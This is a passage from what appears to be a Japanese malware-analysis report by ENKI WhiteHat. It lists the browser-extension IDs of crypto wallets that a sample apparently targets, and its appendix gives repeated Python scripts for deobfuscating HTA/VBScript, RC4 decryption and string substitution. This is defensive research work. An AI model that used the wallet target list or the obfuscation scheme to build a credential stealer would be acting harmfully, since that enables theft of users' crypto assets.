| nphplpgoakhhjchkkhmiggakijnkhfnd | TON |
| jbppfhkifinbpinekbahmdomhlaidhfm | iWallet |
| aiifbnbfobpmeekipheeijimdpnlpgpp | Station |
| bhhhlbepdkbapadjdnnojkbgioiodbic | Solfare |
| jblndlipeogpafnldhgmapagcccfchpi | Kaia |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | Cosmostation |
| onhogfjeacnfoofkfgppdlbmlmnplgbn | SubWallet |
| pdliaogehgdbhbnmkklieghmmjkpigpa | Bybit |
| acmacodkjbdgmoleebolmdjonilkdbch | Rabby |
| aflkmfhebedbjioipglgcbcmnbpgliof | Backpack |
| fnjhmkhhmkbjkkabndcnnogagogbneec | Ronin |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | UniSat |
| anokgmphncpekkhclmingpimjmcooifb | Compass |
| dlcobpjiigpikoobohmabehhmhfoodbb | Argent |
| efbglgofoippbgcjepnhiblaibcnclgk | Martian |
| ejjladinnckdgjemekebdpeokbikhfci | Petra |
| fcfcfllfndlomdhbehjjcoimbgofdncg | Leap |
| jnlgamecbpmbajjfhmmmlhejkemejdma | Braavos |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | Talisman |
| mkpegjkblkkefacfnmkajcjmabijhclg | Magic Eden |
| aeachknmefphepccionboohckonoeemg | Coin98 |
| idnnbdplmphpflfnlkomgpfbpcgelopg | Xverse |
| nnpmfplkfogfpmcngplhnbdnnilmcdcg | Uniswap |
| opcgpfmipidbgpenhmajoajpbobppdil | Sui |
| hnfanknocfeofbddgcijnmhnfnkdnaad | Coinbase |
| kkpllkodjeloidieedojogacfhpaihoh | Enkrypt

付録 C. スクリプト

HTA 難読化解除

  • 難読化された部分のみを解除するため、VBScriptの構文は別途解析して、難読化解除結果と統合する必要があります。

import re
import sys

HEX_CLNG_RE = re.compile(r'clng\(\s*"?\s*&h([0-9a-f]+)\s*"?\s*\)', re.IGNORECASE)

def fix_expr(expr):
    expr = expr.replace('/', '//')
    expr = HEX_CLNG_RE.sub(lambda m: str(int(m.group(1), 16)), expr)
    open_paren = expr.count('(')
    close_paren = expr.count(')')
    if open_paren > close_paren:
        expr += ')' * (open_paren - close_paren)
    return expr

def eval_expr(expr):
    return int(eval(expr, {"__builtins__": {}}, {}))

def extract_chr_calls(code):
    calls = []
    lc = code.lower()
    i = 0
    while True:
        j = lc.find('chr', i)
        if j == -1:
            break
        if lc.startswith('chrw', j):
            start_paren = j + 4 
            is_wide = True
        else:
            start_paren = j + 3
            is_wide = False
        k = start_paren
        while k < len(code) and code[k].isspace():
            k += 1
        if k >= len(code) or code[k] != '(':
            i = j + 3
            continue
        depth = 1
        p = k + 1
        while p < len(code) and depth > 0:
            if code[p] == '(':
                depth += 1
            elif code[p] == ')':
                depth -= 1
            p += 1
        if depth == 0:
            expr = code[k+1:p-1].strip()
            calls.append((expr, is_wide))
            i = p
        else:
            break
    return calls

def main(path):
    vb = open(path, 'r', encoding='utf-8', errors='ignore').read()
    calls = extract_chr_calls(vb)
    out = []
    for expr, is_wide in calls:
        fixed = fix_expr(expr)
        val = eval_expr(fixed)
        if val is None:
            continue
        mod = 65536 if is_wide else 256
        out.append(chr(val % mod))
    s = ''.join(out)
    print(s)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    main(sys.argv[1])
import re
import sys

HEX_CLNG_RE = re.compile(r'clng\(\s*"?\s*&h([0-9a-f]+)\s*"?\s*\)', re.IGNORECASE)

def fix_expr(expr):
    expr = expr.replace('/', '//')
    expr = HEX_CLNG_RE.sub(lambda m: str(int(m.group(1), 16)), expr)
    open_paren = expr.count('(')
    close_paren = expr.count(')')
    if open_paren > close_paren:
        expr += ')' * (open_paren - close_paren)
    return expr

def eval_expr(expr):
    return int(eval(expr, {"__builtins__": {}}, {}))

def extract_chr_calls(code):
    calls = []
    lc = code.lower()
    i = 0
    while True:
        j = lc.find('chr', i)
        if j == -1:
            break
        if lc.startswith('chrw', j):
            start_paren = j + 4 
            is_wide = True
        else:
            start_paren = j + 3
            is_wide = False
        k = start_paren
        while k < len(code) and code[k].isspace():
            k += 1
        if k >= len(code) or code[k] != '(':
            i = j + 3
            continue
        depth = 1
        p = k + 1
        while p < len(code) and depth > 0:
            if code[p] == '(':
                depth += 1
            elif code[p] == ')':
                depth -= 1
            p += 1
        if depth == 0:
            expr = code[k+1:p-1].strip()
            calls.append((expr, is_wide))
            i = p
        else:
            break
    return calls

def main(path):
    vb = open(path, 'r', encoding='utf-8', errors='ignore').read()
    calls = extract_chr_calls(vb)
    out = []
    for expr, is_wide in calls:
        fixed = fix_expr(expr)
        val = eval_expr(fixed)
        if val is None:
            continue
        mod = 65536 if is_wide else 256
        out.append(chr(val % mod))
    s = ''.join(out)
    print(s)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    main(sys.argv[1])
import re
import sys

HEX_CLNG_RE = re.compile(r'clng\(\s*"?\s*&h([0-9a-f]+)\s*"?\s*\)', re.IGNORECASE)

def fix_expr(expr):
    expr = expr.replace('/', '//')
    expr = HEX_CLNG_RE.sub(lambda m: str(int(m.group(1), 16)), expr)
    open_paren = expr.count('(')
    close_paren = expr.count(')')
    if open_paren > close_paren:
        expr += ')' * (open_paren - close_paren)
    return expr

def eval_expr(expr):
    return int(eval(expr, {"__builtins__": {}}, {}))

def extract_chr_calls(code):
    calls = []
    lc = code.lower()
    i = 0
    while True:
        j = lc.find('chr', i)
        if j == -1:
            break
        if lc.startswith('chrw', j):
            start_paren = j + 4 
            is_wide = True
        else:
            start_paren = j + 3
            is_wide = False
        k = start_paren
        while k < len(code) and code[k].isspace():
            k += 1
        if k >= len(code) or code[k] != '(':
            i = j + 3
            continue
        depth = 1
        p = k + 1
        while p < len(code) and depth > 0:
            if code[p] == '(':
                depth += 1
            elif code[p] == ')':
                depth -= 1
            p += 1
        if depth == 0:
            expr = code[k+1:p-1].strip()
            calls.append((expr, is_wide))
            i = p
        else:
            break
    return calls

def main(path):
    vb = open(path, 'r', encoding='utf-8', errors='ignore').read()
    calls = extract_chr_calls(vb)
    out = []
    for expr, is_wide in calls:
        fixed = fix_expr(expr)
        val = eval_expr(fixed)
        if val is None:
            continue
        mod = 65536 if is_wide else 256
        out.append(chr(val % mod))
    s = ''.join(out)
    print(s)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    main(sys.argv[1])

RC4 復号

from Crypto.Cipher import ARC4
import sys

def rc4_decrypt(key, data):
    cipher = ARC4.new(key)
    return cipher.decrypt(data)

def decrypt_file(input_path, output_path):
    with open(input_path, 'rb') as f:
        file_data = f.read()

    # Parse RC4 Key
    key = file_data[:16]
    encrypted_data = file_data[16:]

    # RC4 Decrypt
    decrypted_data = rc4_decrypt(key, encrypted_data)

    # Write Output
    with open(output_path, 'wb') as f:
        f.write(decrypted_data)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    decrypt_file(sys.argv[1], 'output.bin')
from Crypto.Cipher import ARC4
import sys

def rc4_decrypt(key, data):
    cipher = ARC4.new(key)
    return cipher.decrypt(data)

def decrypt_file(input_path, output_path):
    with open(input_path, 'rb') as f:
        file_data = f.read()

    # Parse RC4 Key
    key = file_data[:16]
    encrypted_data = file_data[16:]

    # RC4 Decrypt
    decrypted_data = rc4_decrypt(key, encrypted_data)

    # Write Output
    with open(output_path, 'wb') as f:
        f.write(decrypted_data)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    decrypt_file(sys.argv[1], 'output.bin')
from Crypto.Cipher import ARC4
import sys

def rc4_decrypt(key, data):
    cipher = ARC4.new(key)
    return cipher.decrypt(data)

def decrypt_file(input_path, output_path):
    with open(input_path, 'rb') as f:
        file_data = f.read()

    # Parse RC4 Key
    key = file_data[:16]
    encrypted_data = file_data[16:]

    # RC4 Decrypt
    decrypted_data = rc4_decrypt(key, encrypted_data)

    # Write Output
    with open(output_path, 'wb') as f:
        f.write(decrypted_data)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    decrypt_file(sys.argv[1], 'output.bin')

文字列難読化解除

import sys

table = {
    '!': '-', '#': ')', '$': ';', '%': '+', '&': '=', '(': ':', ')': '#',
    '*': '_', '+': '%', ',': '/', '-': '!', '.': '?', '/': ',', ':': '(',
    ';': '$', '<': ']', '=': '&', '>': '^', '?': '.', '@': '}', '[': '{',
    ']': '<', '^': '>', '_': '*',
    'a': 'm', 'b': 'q', 'c': 'f', 'd': 'h', 'e': 'x', 'f': 'c', 'g': 'l',
    'h': 'd', 'i': 'p', 'j': 's', 'k': 't', 'l': 'g', 'm': 'a', 'n': 'z',
    'o': 'r', 'p': 'i', 'q': 'b', 'r': 'o', 's': 'j', 't': 'k', 'u': 'y',
    'v': 'w', 'w': 'v', 'x': 'e', 'y': 'u', 'z': 'n',
    '{': '[', '}': '@',
} 

TRANS = str.maketrans({ord(k): v for k, v in table.items()})

def substitute_preserve_case(s):
    is_upper = [ch.isalpha() and ch.isupper() for ch in s]
    lower_s = ''.join(ch.lower() if ch.isalpha() else ch for ch in s)
    sub = lower_s.translate(TRANS)
    out_chars = []
    for ch, up in zip(sub, is_upper):
        if up and ch.isalpha():
            out_chars.append(ch.upper())
        else:
            out_chars.append(ch)
    return ''.join(out_chars)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <string>")
        sys.exit(1)
    print(substitute_preserve_case(sys.argv[1]))
import sys

table = {
    '!': '-', '#': ')', '$': ';', '%': '+', '&': '=', '(': ':', ')': '#',
    '*': '_', '+': '%', ',': '/', '-': '!', '.': '?', '/': ',', ':': '(',
    ';': '$', '<': ']', '=': '&', '>': '^', '?': '.', '@': '}', '[': '{',
    ']': '<', '^': '>', '_': '*',
    'a': 'm', 'b': 'q', 'c': 'f', 'd': 'h', 'e': 'x', 'f': 'c', 'g': 'l',
    'h': 'd', 'i': 'p', 'j': 's', 'k': 't', 'l': 'g', 'm': 'a', 'n': 'z',
    'o': 'r', 'p': 'i', 'q': 'b', 'r': 'o', 's': 'j', 't': 'k', 'u': 'y',
    'v': 'w', 'w': 'v', 'x': 'e', 'y': 'u', 'z': 'n',
    '{': '[', '}': '@',
} 

TRANS = str.maketrans({ord(k): v for k, v in table.items()})

def substitute_preserve_case(s):
    is_upper = [ch.isalpha() and ch.isupper() for ch in s]
    lower_s = ''.join(ch.lower() if ch.isalpha() else ch for ch in s)
    sub = lower_s.translate(TRANS)
    out_chars = []
    for ch, up in zip(sub, is_upper):
        if up and ch.isalpha():
            out_chars.append(ch.upper())
        else:
            out_chars.append(ch)
    return ''.join(out_chars)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <string>")
        sys.exit(1)
    print(substitute_preserve_case(sys.argv[1]))
import sys

table = {
    '!': '-', '#': ')', '$': ';', '%': '+', '&': '=', '(': ':', ')': '#',
    '*': '_', '+': '%', ',': '/', '-': '!', '.': '?', '/': ',', ':': '(',
    ';': '$', '<': ']', '=': '&', '>': '^', '?': '.', '@': '}', '[': '{',
    ']': '<', '^': '>', '_': '*',
    'a': 'm', 'b': 'q', 'c': 'f', 'd': 'h', 'e': 'x', 'f': 'c', 'g': 'l',
    'h': 'd', 'i': 'p', 'j': 's', 'k': 't', 'l': 'g', 'm': 'a', 'n': 'z',
    'o': 'r', 'p': 'i', 'q': 'b', 'r': 'o', 's': 'j', 't': 'k', 'u': 'y',
    'v': 'w', 'w': 'v', 'x': 'e', 'y': 'u', 'z': 'n',
    '{': '[', '}': '@',
} 

TRANS = str.maketrans({ord(k): v for k, v in table.items()})

def substitute_preserve_case(s):
    is_upper = [ch.isalpha() and ch.isupper() for ch in s]
    lower_s = ''.join(ch.lower() if ch.isalpha() else ch for ch in s)
    sub = lower_s.translate(TRANS)
    out_chars = []
    for ch, up in zip(sub, is_upper):
        if up and ch.isalpha():
            out_chars.append(ch.upper())
        else:
            out_chars.append(ch)
    return ''.join(out_chars)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <string>")
        sys.exit(1)
    print(substitute_preserve_case(sys.argv[1]))

エンキホワイトハット

エンキホワイトハット

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.